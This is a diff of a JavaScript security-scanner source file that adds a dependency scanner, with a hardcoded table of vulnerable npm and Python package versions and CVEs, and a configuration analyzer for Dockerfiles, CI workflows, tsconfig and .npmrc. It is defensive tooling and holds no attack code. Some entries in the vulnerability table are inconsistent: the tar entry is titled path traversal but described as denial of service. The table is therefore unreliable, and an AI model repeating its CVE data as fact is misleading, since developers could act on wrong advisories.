+
return matches;
|
|
4063
4284
|
}
|
|
4064
4285
|
};
|
|
4065
4286
|
var emptyCatchBlock = {
|
|
@@ -4074,13 +4295,11 @@ var emptyCatchBlock = {
|
|
|
4074
4295
|
description: "Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.",
|
|
4075
4296
|
check(content, filePath) {
|
|
4076
4297
|
if (filePath.match(/test|spec|mock/i)) return [];
|
|
4077
|
-
|
|
4078
|
-
|
|
4079
|
-
|
|
4080
|
-
|
|
4081
|
-
|
|
4082
|
-
() => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate."
|
|
4083
|
-
);
|
|
4298
|
+
const fix = () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.";
|
|
4299
|
+
const blocks = findMatches(content, /catch\s*(?:\([^)]{0,200}\))?\s*\{\s*\}/g, emptyCatchBlock, filePath, fix);
|
|
4300
|
+
const seen = new Set(blocks.map((m) => m.line));
|
|
4301
|
+
const promises = findMatches(content, /\.catch\s*\(\s*(?:async\s*)?(?:\(\s*[\w$]*\s*(?::\s*[\w$]+\s*)?\)|[\w$]+)\s*=>\s*\{\s*\}\s*\)/g, emptyCatchBlock, filePath, fix).filter((m) => !seen.has(m.line));
|
|
4302
|
+
return [...blocks, ...promises].slice(0, 500);
|
|
4084
4303
|
}
|
|
4085
4304
|
};
|
|
4086
4305
|
var freeRules = [
|
|
@@ -4646,6 +4865,778 @@ function scanEntropy(files) {
|
|
|
4646
4865
|
return findings;
|
|
4647
4866
|
}
|
|
4648
4867
|
|
|
4868
|
+
// src/engines/dependency-scanner.ts
|
|
4869
|
+
var KNOWN_VULN_NPM = {
|
|
4870
|
+
"lodash": [{
|
|
4871
|
+
minSafe: "4.17.21",
|
|
4872
|
+
cve: "CVE-2021-23337",
|
|
4873
|
+
severity: "critical",
|
|
4874
|
+
title: "Lodash Prototype Pollution",
|
|
4875
|
+
description: "lodash before 4.17.21 is vulnerable to prototype pollution via set, setWith, and zipObjectDeep.",
|
|
4876
|
+
fix: "Upgrade lodash to >= 4.17.21: npm install lodash@latest"
|
|
4877
|
+
}],
|
|
4878
|
+
"axios": [{
|
|
4879
|
+
minSafe: "1.6.0",
|
|
4880
|
+
cve: "CVE-2023-45857",
|
|
4881
|
+
severity: "high",
|
|
4882
|
+
title: "Axios CSRF Vulnerability",
|
|
4883
|
+
description: "axios before 1.6.0 inadvertently leaks XSRF-TOKEN cookie in cross-site requests.",
|
|
4884
|
+
fix: "Upgrade axios to >= 1.6.0: npm install axios@latest"
|
|
4885
|
+
}],
|
|
4886
|
+
"express": [{
|
|
4887
|
+
minSafe: "4.19.2",
|
|
4888
|
+
cve: "CVE-2024-29041",
|
|
4889
|
+
severity: "medium",
|
|
4890
|
+
title: "Express Open Redirect",
|
|
4891
|
+
description: "Express before 4.19.2 is vulnerable to open redirect via crafted URLs.",
|
|
4892
|
+
fix: "Upgrade express to >= 4.19.2: npm install express@latest"
|
|
4893
|
+
}],
|
|
4894
|
+
"jsonwebtoken": [{
|
|
4895
|
+
minSafe: "9.0.0",
|
|
4896
|
+
cve: "CVE-2022-23529",
|
|
4897
|
+
severity: "high",
|
|
4898
|
+
title: "jsonwebtoken Insecure Key Handling",
|
|
4899
|
+
description: "jsonwebtoken before 9.0.0 allows attackers to set secretOrPublicKey to a malicious object.",
|
|
4900
|
+
fix: "Upgrade jsonwebtoken to >= 9.0.0: npm install jsonwebtoken@latest"
|
|
4901
|
+
}],
|
|
4902
|
+
"node-fetch": [{
|
|
4903
|
+
minSafe: "2.6.7",
|
|
4904
|
+
cve: "CVE-2022-0235",
|
|
4905
|
+
severity: "high",
|
|
4906
|
+
title: "node-fetch Header Exposure",
|
|
4907
|
+
description: "node-fetch before 2.6.7 exposes authorization headers on redirect to different origin.",
|
|
4908
|
+
fix: "Upgrade node-fetch to >= 2.6.7 or switch to native fetch (Node 18+)."
|
|
4909
|
+
}],
|
|
4910
|
+
"minimatch": [{
|
|
4911
|
+
minSafe: "3.0.5",
|
|
4912
|
+
cve: "CVE-2022-3517",
|
|
4913
|
+
severity: "high",
|
|
4914
|
+
title: "Minimatch ReDoS",
|
|
4915
|
+
description: "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
|
|
4916
|
+
fix: "Upgrade minimatch to >= 3.0.5: npm install minimatch@latest"
|
|
4917
|
+
}],
|
|
4918
|
+
"moment": [{
|
|
4919
|
+
minSafe: "999.0.0",
|
|
4920
|
+
cve: "N/A",
|
|
4921
|
+
severity: "medium",
|
|
4922
|
+
title: "Moment.js is Deprecated",
|
|
4923
|
+
description: "moment.js is in maintenance mode with known path traversal issues. Consider alternatives.",
|
|
4924
|
+
fix: "Migrate to date-fns, dayjs, or Temporal API. See: https://momentjs.com/docs/#/-project-status/"
|
|
4925
|
+
}],
|
|
4926
|
+
"request": [{
|
|
4927
|
+
minSafe: "999.0.0",
|
|
4928
|
+
cve: "N/A",
|
|
4929
|
+
severity: "medium",
|
|
4930
|
+
title: "Request Package Deprecated",
|
|
4931
|
+
description: "The 'request' package is deprecated and no longer receives security updates.",
|
|
4932
|
+
fix: "Migrate to node-fetch, axios, got, or native fetch (Node 18+)."
|
|
4933
|
+
}],
|
|
4934
|
+
"underscore": [{
|
|
4935
|
+
minSafe: "1.13.6",
|
|
4936
|
+
cve: "CVE-2021-23358",
|
|
4937
|
+
severity: "high",
|
|
4938
|
+
title: "Underscore.js Arbitrary Code Execution",
|
|
4939
|
+
description: "underscore before 1.13.6 allows arbitrary code execution via the template function.",
|
|
4940
|
+
fix: "Upgrade underscore to >= 1.13.6 or migrate to lodash."
|
|
4941
|
+
}],
|
|
4942
|
+
"tar": [{
|
|
4943
|
+
minSafe: "6.2.1",
|
|
4944
|
+
cve: "CVE-2024-28863",
|
|
4945
|
+
severity: "high",
|
|
4946
|
+
title: "Tar Path Traversal",
|
|
4947
|
+
description: "tar before 6.2.1 is vulnerable to denial of service via crafted archives.",
|
|
4948
|
+
fix: "Upgrade tar to >= 6.2.1: npm install tar@latest"
|
|
4949
|
+
}],
|
|
4950
|
+
"semver": [{
|
|
4951
|
+
minSafe: "7.5.2",
|
|
4952
|
+
cve: "CVE-2022-25883",
|
|
4953
|
+
severity: "medium",
|
|
4954
|
+
title: "Semver ReDoS",
|
|
4955
|
+
description: "semver before 7.5.2 is vulnerable to Regular Expression Denial of Service.",
|
|
4956
|
+
fix: "Upgrade semver to >= 7.5.2: npm install semver@latest"
|
|
4957
|
+
}],
|
|
4958
|
+
"xml2js": [{
|
|
4959
|
+
minSafe: "0.5.0",
|
|
4960
|
+
cve: "CVE-2023-0842",
|
|
4961
|
+
severity: "medium",
|
|
4962
|
+
title: "xml2js Prototype Pollution",
|
|
4963
|
+
description: "xml2js before 0.5.0 is vulnerable to prototype pollution when parsing XML.",
|
|
4964
|
+
fix: "Upgrade xml2js to >= 0.5.0: npm install xml2js@latest"
|
|
4965
|
+
}]
|
|
4966
|
+
};
|
|
4967
|
+
var KNOWN_VULN_PYTHON = {
|
|
4968
|
+
"django": [{
|
|
4969
|
+
minSafe: "4.2.11",
|
|
4970
|
+
cve: "CVE-2024-27351",
|
|
4971
|
+
severity: "high",
|
|
4972
|
+
title: "Django ReDoS in Truncator",
|
|
4973
|
+
description: "Django before 4.2.11 is vulnerable to Regular Expression Denial of Service.",
|
|
4974
|
+
fix: "Upgrade Django to >= 4.2.11: pip install Django --upgrade"
|
|
4975
|
+
}],
|
|
4976
|
+
"flask": [{
|
|
4977
|
+
minSafe: "2.3.2",
|
|
4978
|
+
cve: "CVE-2023-30861",
|
|
4979
|
+
severity: "high",
|
|
4980
|
+
title: "Flask Session Cookie Vulnerability",
|
|
4981
|
+
description: "Flask before 2.3.2 may set permanent session cookies on redirect responses.",
|
|
4982
|
+
fix: "Upgrade Flask to >= 2.3.2: pip install Flask --upgrade"
|
|
4983
|
+
}],
|
|
4984
|
+
"pillow": [{
|
|
4985
|
+
minSafe: "10.2.0",
|
|
4986
|
+
cve: "CVE-2023-50447",
|
|
4987
|
+
severity: "critical",
|
|
4988
|
+
title: "Pillow Arbitrary Code Execution",
|
|
4989
|
+
description: "Pillow before 10.2.0 is vulnerable to arbitrary code execution via crafted images.",
|
|
4990
|
+
fix: "Upgrade Pillow to >= 10.2.0: pip install Pillow --upgrade"
|
|
4991
|
+
}],
|
|
4992
|
+
"requests": [{
|
|
4993
|
+
minSafe: "2.31.0",
|
|
4994
|
+
cve: "CVE-2023-32681",
|
|
4995
|
+
severity: "medium",
|
|
4996
|
+
title: "Requests Proxy Header Leak",
|
|
4997
|
+
description: "requests before 2.31.0 leaks Proxy-Authorization headers to destination servers.",
|
|
4998
|
+
fix: "Upgrade requests to >= 2.31.0: pip install requests --upgrade"
|
|
4999
|
+
}],
|
|
5000
|
+
"pyyaml": [{
|
|
5001
|
+
minSafe: "6.0.1",
|
|
5002
|
+
cve: "CVE-2022-41316",
|
|
5003
|
+
severity: "high",
|
|
5004
|
+
title: "PyYAML Unsafe Loading",
|
|
5005
|
+
description: "PyYAML has known deserialization vulnerabilities. Always use yaml.safe_load().",
|
|
5006
|
+
fix: "Upgrade PyYAML to >= 6.0.1 and use yaml.safe_load() instead of yaml.load()."
|
|
5007
|
+
}],
|
|
5008
|
+
"jinja2": [{
|
|
5009
|
+
minSafe: "3.1.3",
|
|
5010
|
+
cve: "CVE-2024-22195",
|
|
5011
|
+
severity: "medium",
|
|
5012
|
+
title: "Jinja2 XSS Vulnerability",
|
|
5013
|
+
description: "Jinja2 before 3.1.3 is vulnerable to XSS via xmlattr filter.",
|
|
5014
|
+
fix: "Upgrade Jinja2 to >= 3.1.3: pip install Jinja2 --upgrade"
|
|
5015
|
+
}]
|
|
5016
|
+
};
|
|
5017
|
+
var DEP_PATTERNS = [
|
|
5018
|
+
{
|
|
5019
|
+
id: "DEP001",
|
|
5020
|
+
title: "Wildcard Dependency Version",
|
|
5021
|
+
severity: "high",
|
|
5022
|
+
description: "Using '*' or 'latest' as a dependency version allows any version to be installed, including malicious ones.",
|
|
5023
|
+
fix: "Pin dependency versions: use exact (1.2.3) or caret (^1.2.3) versions, never '*' or 'latest'.",
|
|
5024
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /["']\*["']|["']latest["']/.test(content)
|
|
5025
|
+
},
|
|
5026
|
+
{
|
|
5027
|
+
id: "DEP002",
|
|
5028
|
+
title: "Git Dependency Without Commit Hash",
|
|
5029
|
+
severity: "medium",
|
|
5030
|
+
description: "Git dependencies without a pinned commit hash can be replaced with malicious code.",
|
|
5031
|
+
fix: "Pin git dependencies to a specific commit: git+https://github.com/user/repo#commit-hash",
|
|
5032
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /git\+https?:\/\/[^#"]+["']/.test(content)
|
|
5033
|
+
},
|
|
5034
|
+
{
|
|
5035
|
+
id: "DEP003",
|
|
5036
|
+
title: "Postinstall Script in Package",
|
|
5037
|
+
severity: "medium",
|
|
5038
|
+
description: "postinstall scripts run automatically after npm install and can execute arbitrary code.",
|
|
5039
|
+
fix: "Audit postinstall scripts carefully. Use --ignore-scripts flag for untrusted packages.",
|
|
5040
|
+
test: (content, filePath) => filePath.endsWith("package.json") && /"postinstall"\s*:/.test(content)
|
|
5041
|
+
},
|
|
5042
|
+
{
|
|
5043
|
+
id: "DEP004",
|
|
5044
|
+
title: "No Package Lock File",
|
|
5045
|
+
severity: "medium",
|
|
5046
|
+
description: "Without a lockfile, npm install may resolve different versions on different machines.",
|
|
5047
|
+
fix: "Commit your lockfile (package-lock.json, pnpm-lock.yaml, or yarn.lock).",
|
|
5048
|
+
test: (content, filePath) => filePath.endsWith(".gitignore") && /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/.test(content)
|
|
5049
|
+
},
|
|
5050
|
+
{
|
|
5051
|
+
id: "DEP005",
|
|
5052
|
+
title: "HTTP Registry URL",
|
|
5053
|
+
severity: "high",
|
|
5054
|
+
description: "Using HTTP (not HTTPS) for npm registry allows man-in-the-middle attacks on package downloads.",
|
|
5055
|
+
fix: "Use HTTPS for registry: registry=https://registry.npmjs.org/",
|
|
5056
|
+
test: (content, filePath) => filePath.endsWith(".npmrc") && /registry\s*=\s*http:\/\//.test(content)
|
|
5057
|
+
}
|
|
5058
|
+
];
|
|
5059
|
+
function compareVersions(v1, v2) {
|
|
5060
|
+
const parts1 = v1.replace(/^[^0-9]*/, "").split(".").map(Number);
|
|
5061
|
+
const parts2 = v2.replace(/^[^0-9]*/, "").split(".").map(Number);
|
|
5062
|
+
for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
|
|
5063
|
+
const a = parts1[i] || 0;
|
|
5064
|
+
const b = parts2[i] || 0;
|
|
5065
|
+
if (a < b) return -1;
|
|
5066
|
+
if (a > b) return 1;
|
|
5067
|
+
}
|
|
5068
|
+
return 0;
|
|
5069
|
+
}
|
|
5070
|
+
function getSnippet3(content, line) {
|
|
5071
|
+
const lines = content.split("\n");
|
|
5072
|
+
const start = Math.max(0, line - 2);
|
|
5073
|
+
const end = Math.min(lines.length, line + 2);
|
|
5074
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5075
|
+
const lineNum = start + i + 1;
|
|
5076
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5077
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5078
|
+
}).join("\n");
|
|
5079
|
+
}
|
|
5080
|
+
function scanDependencies(files) {
|
|
5081
|
+
const findings = [];
|
|
5082
|
+
for (const { path: filePath, content } of files) {
|
|
5083
|
+
if (filePath.endsWith("package.json") && !filePath.includes("node_modules")) {
|
|
5084
|
+
try {
|
|
5085
|
+
const pkg = JSON.parse(content);
|
|
5086
|
+
const allDeps = { ...pkg.dependencies, ...pkg.devDependencies };
|
|
5087
|
+
for (const [name, version] of Object.entries(allDeps)) {
|
|
5088
|
+
const vulns = KNOWN_VULN_NPM[name];
|
|
5089
|
+
if (!vulns) continue;
|
|
5090
|
+
const versionStr = String(version).replace(/^[\^~>=<]*/g, "");
|
|
5091
|
+
for (const vuln of vulns) {
|
|
5092
|
+
if (compareVersions(versionStr, vuln.minSafe) < 0) {
|
|
5093
|
+
const line = content.split("\n").findIndex((l) => l.includes(`"${name}"`)) + 1;
|
|
5094
|
+
findings.push({
|
|
5095
|
+
id: `${vuln.cve}-${filePath}:${line}`,
|
|
5096
|
+
rule: vuln.cve,
|
|
5097
|
+
severity: vuln.severity,
|
|
5098
|
+
title: vuln.title,
|
|
5099
|
+
description: vuln.description,
|
|
5100
|
+
file: filePath,
|
|
5101
|
+
line,
|
|
5102
|
+
snippet: getSnippet3(content, line),
|
|
5103
|
+
fix: vuln.fix,
|
|
5104
|
+
category: "Dependencies",
|
|
5105
|
+
source: "custom",
|
|
5106
|
+
owasp: "A06:2021",
|
|
5107
|
+
cwe: "CWE-1395"
|
|
5108
|
+
});
|
|
5109
|
+
}
|
|
5110
|
+
}
|
|
5111
|
+
}
|
|
5112
|
+
} catch {
|
|
5113
|
+
}
|
|
5114
|
+
}
|
|
5115
|
+
if (filePath.match(/requirements.*\.txt$/i)) {
|
|
5116
|
+
const lines = content.split("\n");
|
|
5117
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5118
|
+
const line = lines[i].trim();
|
|
5119
|
+
const match = line.match(/^([a-zA-Z0-9_-]+)(?:[=<>!~]+(.+))?/);
|
|
5120
|
+
if (!match) continue;
|
|
5121
|
+
const name = match[1].toLowerCase();
|
|
5122
|
+
const version = match[2] || "0.0.0";
|
|
5123
|
+
const vulns = KNOWN_VULN_PYTHON[name];
|
|
5124
|
+
if (!vulns) continue;
|
|
5125
|
+
for (const vuln of vulns) {
|
|
5126
|
+
if (compareVersions(version, vuln.minSafe) < 0) {
|
|
5127
|
+
findings.push({
|
|
5128
|
+
id: `${vuln.cve}-${filePath}:${i + 1}`,
|
|
5129
|
+
rule: vuln.cve,
|
|
5130
|
+
severity: vuln.severity,
|
|
5131
|
+
title: vuln.title,
|
|
5132
|
+
description: vuln.description,
|
|
5133
|
+
file: filePath,
|
|
5134
|
+
line: i + 1,
|
|
5135
|
+
snippet: getSnippet3(content, i + 1),
|
|
5136
|
+
fix: vuln.fix,
|
|
5137
|
+
category: "Dependencies",
|
|
5138
|
+
source: "custom",
|
|
5139
|
+
owasp: "A06:2021",
|
|
5140
|
+
cwe: "CWE-1395"
|
|
5141
|
+
});
|
|
5142
|
+
}
|
|
5143
|
+
}
|
|
5144
|
+
}
|
|
5145
|
+
}
|
|
5146
|
+
for (const pattern of DEP_PATTERNS) {
|
|
5147
|
+
if (pattern.test(content, filePath)) {
|
|
5148
|
+
findings.push({
|
|
5149
|
+
id: `${pattern.id}-${filePath}:1`,
|
|
5150
|
+
rule: pattern.id,
|
|
5151
|
+
severity: pattern.severity,
|
|
5152
|
+
title: pattern.title,
|
|
5153
|
+
description: pattern.description,
|
|
5154
|
+
file: filePath,
|
|
5155
|
+
line: 1,
|
|
5156
|
+
snippet: getSnippet3(content, 1),
|
|
5157
|
+
fix: pattern.fix,
|
|
5158
|
+
category: "Dependencies",
|
|
5159
|
+
source: "custom",
|
|
5160
|
+
owasp: "A06:2021",
|
|
5161
|
+
cwe: "CWE-1395"
|
|
5162
|
+
});
|
|
5163
|
+
}
|
|
5164
|
+
}
|
|
5165
|
+
}
|
|
5166
|
+
return findings;
|
|
5167
|
+
}
|
|
5168
|
+
|
|
5169
|
+
// src/engines/config-analyzer.ts
|
|
5170
|
+
function getSnippet4(content, line) {
|
|
5171
|
+
const lines = content.split("\n");
|
|
5172
|
+
const start = Math.max(0, line - 2);
|
|
5173
|
+
const end = Math.min(lines.length, line + 2);
|
|
5174
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5175
|
+
const lineNum = start + i + 1;
|
|
5176
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5177
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5178
|
+
}).join("\n");
|
|
5179
|
+
}
|
|
5180
|
+
var CONFIG_CHECKS = [
|
|
5181
|
+
// ── TypeScript Config ──
|
|
5182
|
+
{
|
|
5183
|
+
id: "CFG001",
|
|
5184
|
+
title: "TypeScript Strict Mode Disabled",
|
|
5185
|
+
severity: "medium",
|
|
5186
|
+
category: "Configuration",
|
|
5187
|
+
description: "TypeScript without strict mode misses type errors that can cause runtime bugs and security issues.",
|
|
5188
|
+
fix: 'Enable strict mode in tsconfig.json: "strict": true',
|
|
5189
|
+
owasp: "A05:2021",
|
|
5190
|
+
cwe: "CWE-710",
|
|
5191
|
+
filePattern: /tsconfig\.json$/,
|
|
5192
|
+
check(content) {
|
|
5193
|
+
try {
|
|
5194
|
+
if (/"strict"\s*:\s*false/.test(content)) {
|
|
5195
|
+
const line = content.split("\n").findIndex((l) => /strict/.test(l)) + 1;
|
|
5196
|
+
return { line, snippet: getSnippet4(content, line) };
|
|
5197
|
+
}
|
|
5198
|
+
if (!/"strict"\s*:\s*true/.test(content) && /"compilerOptions"/.test(content)) {
|
|
5199
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5200
|
+
}
|
|
5201
|
+
} catch {
|
|
5202
|
+
}
|
|
5203
|
+
return null;
|
|
5204
|
+
}
|
|
5205
|
+
},
|
|
5206
|
+
{
|
|
5207
|
+
id: "CFG002",
|
|
5208
|
+
title: "TypeScript allowJs Without checkJs",
|
|
5209
|
+
severity: "low",
|
|
5210
|
+
category: "Configuration",
|
|
5211
|
+
description: "allowJs without checkJs means JavaScript files bypass type checking entirely.",
|
|
5212
|
+
fix: 'Add "checkJs": true alongside "allowJs": true in tsconfig.json.',
|
|
5213
|
+
owasp: "A05:2021",
|
|
5214
|
+
cwe: "CWE-710",
|
|
5215
|
+
filePattern: /tsconfig\.json$/,
|
|
5216
|
+
check(content) {
|
|
5217
|
+
if (/"allowJs"\s*:\s*true/.test(content) && !/"checkJs"\s*:\s*true/.test(content)) {
|
|
5218
|
+
const line = content.split("\n").findIndex((l) => /allowJs/.test(l)) + 1;
|
|
5219
|
+
return { line, snippet: getSnippet4(content, line) };
|
|
5220
|
+
}
|
|
5221
|
+
return null;
|
|
5222
|
+
}
|
|
5223
|
+
},
|
|
5224
|
+
// ── Next.js Config ──
|
|
5225
|
+
{
|
|
5226
|
+
id: "CFG003",
|
|
5227
|
+
title: "Next.js Missing Security Headers",
|
|
5228
|
+
severity: "medium",
|
|
5229
|
+
category: "Configuration",
|
|
5230
|
+
description: "Next.js app without security headers in next.config is missing important protections.",
|
|
5231
|
+
fix: "Add a headers() function to next.config.js with X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Content-Security-Policy.",
|
|
5232
|
+
owasp: "A05:2021",
|
|
5233
|
+
cwe: "CWE-693",
|
|
5234
|
+
filePattern: /next\.config\.(js|mjs|ts)$/,
|
|
5235
|
+
check(content) {
|
|
5236
|
+
if (!/headers\s*\(/.test(content) && !/securityHeaders|security-headers/.test(content)) {
|
|
5237
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5238
|
+
}
|
|
5239
|
+
return null;
|
|
5240
|
+
}
|
|
5241
|
+
},
|
|
5242
|
+
{
|
|
5243
|
+
id: "CFG004",
|
|
5244
|
+
title: "Next.js Powered-By Header Not Disabled",
|
|
5245
|
+
severity: "low",
|
|
5246
|
+
category: "Configuration",
|
|
5247
|
+
description: "Next.js exposes X-Powered-By header by default, revealing your tech stack.",
|
|
5248
|
+
fix: "Add poweredByHeader: false to next.config.js.",
|
|
5249
|
+
owasp: "A05:2021",
|
|
5250
|
+
cwe: "CWE-200",
|
|
5251
|
+
filePattern: /next\.config\.(js|mjs|ts)$/,
|
|
5252
|
+
check(content) {
|
|
5253
|
+
if (!/poweredByHeader\s*:\s*false/.test(content)) {
|
|
5254
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5255
|
+
}
|
|
5256
|
+
return null;
|
|
5257
|
+
}
|
|
5258
|
+
},
|
|
5259
|
+
// ── Dockerfile ──
|
|
5260
|
+
{
|
|
5261
|
+
id: "CFG005",
|
|
5262
|
+
title: "Dockerfile Using Latest Tag",
|
|
5263
|
+
severity: "medium",
|
|
5264
|
+
category: "Configuration",
|
|
5265
|
+
description: "Using :latest tag in FROM makes builds non-reproducible and may pull vulnerable images.",
|
|
5266
|
+
fix: "Pin to a specific version: FROM node:20-alpine instead of FROM node:latest.",
|
|
5267
|
+
owasp: "A06:2021",
|
|
5268
|
+
cwe: "CWE-1395",
|
|
5269
|
+
filePattern: /Dockerfile$/i,
|
|
5270
|
+
check(content) {
|
|
5271
|
+
const lines = content.split("\n");
|
|
5272
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5273
|
+
if (/^FROM\s+\S+:latest/i.test(lines[i].trim()) || /^FROM\s+\w+\s*$/i.test(lines[i].trim())) {
|
|
5274
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5275
|
+
}
|
|
5276
|
+
}
|
|
5277
|
+
return null;
|
|
5278
|
+
}
|
|
5279
|
+
},
|
|
5280
|
+
{
|
|
5281
|
+
id: "CFG006",
|
|
5282
|
+
title: "Dockerfile Not Using Multi-Stage Build",
|
|
5283
|
+
severity: "low",
|
|
5284
|
+
category: "Configuration",
|
|
5285
|
+
description: "Single-stage Docker builds include build tools in the final image, increasing attack surface.",
|
|
5286
|
+
fix: "Use multi-stage builds: first stage for building, second stage (FROM alpine) for running.",
|
|
5287
|
+
owasp: "A05:2021",
|
|
5288
|
+
cwe: "CWE-1059",
|
|
5289
|
+
filePattern: /Dockerfile$/i,
|
|
5290
|
+
check(content) {
|
|
5291
|
+
const fromCount = (content.match(/^FROM\s/gmi) || []).length;
|
|
5292
|
+
if (fromCount <= 1 && content.includes("npm") && content.length > 200) {
|
|
5293
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5294
|
+
}
|
|
5295
|
+
return null;
|
|
5296
|
+
}
|
|
5297
|
+
},
|
|
5298
|
+
{
|
|
5299
|
+
id: "CFG007",
|
|
5300
|
+
title: "Dockerfile Copies .env File",
|
|
5301
|
+
severity: "critical",
|
|
5302
|
+
category: "Configuration",
|
|
5303
|
+
description: "COPY that includes .env files bakes secrets into the Docker image layer.",
|
|
5304
|
+
fix: "Add .env to .dockerignore. Use build args or runtime env vars instead.",
|
|
5305
|
+
owasp: "A02:2021",
|
|
5306
|
+
cwe: "CWE-312",
|
|
5307
|
+
filePattern: /Dockerfile$/i,
|
|
5308
|
+
check(content) {
|
|
5309
|
+
const lines = content.split("\n");
|
|
5310
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5311
|
+
if (/^COPY\s.*\.env\b/i.test(lines[i].trim())) {
|
|
5312
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5313
|
+
}
|
|
5314
|
+
}
|
|
5315
|
+
return null;
|
|
5316
|
+
}
|
|
5317
|
+
},
|
|
5318
|
+
// ── GitHub Actions ──
|
|
5319
|
+
{
|
|
5320
|
+
id: "CFG008",
|
|
5321
|
+
title: "GitHub Actions with Broad Permissions",
|
|
5322
|
+
severity: "high",
|
|
5323
|
+
category: "Configuration",
|
|
5324
|
+
description: "GitHub Actions with write-all or broad permissions can be exploited if a dependency is compromised.",
|
|
5325
|
+
fix: "Use minimal permissions: permissions: { contents: read }. Only grant what's needed.",
|
|
5326
|
+
owasp: "A01:2021",
|
|
5327
|
+
cwe: "CWE-250",
|
|
5328
|
+
filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
|
|
5329
|
+
check(content) {
|
|
5330
|
+
const lines = content.split("\n");
|
|
5331
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5332
|
+
if (/permissions\s*:\s*write-all/i.test(lines[i])) {
|
|
5333
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5334
|
+
}
|
|
5335
|
+
}
|
|
5336
|
+
return null;
|
|
5337
|
+
}
|
|
5338
|
+
},
|
|
5339
|
+
{
|
|
5340
|
+
id: "CFG009",
|
|
5341
|
+
title: "GitHub Actions Using Unpinned Action",
|
|
5342
|
+
severity: "medium",
|
|
5343
|
+
category: "Configuration",
|
|
5344
|
+
description: "Using actions with @main or @master instead of a pinned SHA allows supply chain attacks.",
|
|
5345
|
+
fix: "Pin actions to a specific SHA: uses: actions/checkout@abc123... instead of @main.",
|
|
5346
|
+
owasp: "A06:2021",
|
|
5347
|
+
cwe: "CWE-1395",
|
|
5348
|
+
filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
|
|
5349
|
+
check(content) {
|
|
5350
|
+
const lines = content.split("\n");
|
|
5351
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5352
|
+
if (/uses:\s*\S+@(?:main|master|dev|latest)\s*$/i.test(lines[i])) {
|
|
5353
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5354
|
+
}
|
|
5355
|
+
}
|
|
5356
|
+
return null;
|
|
5357
|
+
}
|
|
5358
|
+
},
|
|
5359
|
+
// ── Vite Config ──
|
|
5360
|
+
{
|
|
5361
|
+
id: "CFG010",
|
|
5362
|
+
title: "Vite Server Open to Network",
|
|
5363
|
+
severity: "medium",
|
|
5364
|
+
category: "Configuration",
|
|
5365
|
+
description: "Vite dev server with host: true exposes it to the entire network.",
|
|
5366
|
+
fix: "Remove host: true or use host: '127.0.0.1' for local-only access during development.",
|
|
5367
|
+
owasp: "A05:2021",
|
|
5368
|
+
cwe: "CWE-668",
|
|
5369
|
+
filePattern: /vite\.config\.(js|ts|mjs)$/,
|
|
5370
|
+
check(content) {
|
|
5371
|
+
const lines = content.split("\n");
|
|
5372
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5373
|
+
if (/host\s*:\s*true/.test(lines[i]) || /host\s*:\s*['"]0\.0\.0\.0['"]/.test(lines[i])) {
|
|
5374
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5375
|
+
}
|
|
5376
|
+
}
|
|
5377
|
+
return null;
|
|
5378
|
+
}
|
|
5379
|
+
},
|
|
5380
|
+
// ── .npmrc ──
|
|
5381
|
+
{
|
|
5382
|
+
id: "CFG011",
|
|
5383
|
+
title: "NPM Auth Token in .npmrc",
|
|
5384
|
+
severity: "critical",
|
|
5385
|
+
category: "Secrets",
|
|
5386
|
+
description: "NPM auth tokens in committed .npmrc files expose registry credentials.",
|
|
5387
|
+
fix: "Remove the token and add .npmrc to .gitignore. Use NPM_TOKEN env var instead.",
|
|
5388
|
+
owasp: "A02:2021",
|
|
5389
|
+
cwe: "CWE-798",
|
|
5390
|
+
filePattern: /\.npmrc$/,
|
|
5391
|
+
check(content) {
|
|
5392
|
+
const lines = content.split("\n");
|
|
5393
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5394
|
+
const line = lines[i];
|
|
5395
|
+
const registry = line.indexOf("//registry");
|
|
5396
|
+
if (line.includes("_authToken") || line.includes("_auth=") || registry >= 0 && line.includes(":_password", registry + 10)) {
|
|
5397
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5398
|
+
}
|
|
5399
|
+
}
|
|
5400
|
+
return null;
|
|
5401
|
+
}
|
|
5402
|
+
},
|
|
5403
|
+
// ── ESLint Config ──
|
|
5404
|
+
{
|
|
5405
|
+
id: "CFG012",
|
|
5406
|
+
title: "Security ESLint Rules Disabled",
|
|
5407
|
+
severity: "medium",
|
|
5408
|
+
category: "Configuration",
|
|
5409
|
+
description: "Disabling security-related ESLint rules removes an important safety net.",
|
|
5410
|
+
fix: "Re-enable security rules or use eslint-plugin-security for automated checks.",
|
|
5411
|
+
owasp: "A05:2021",
|
|
5412
|
+
cwe: "CWE-710",
|
|
5413
|
+
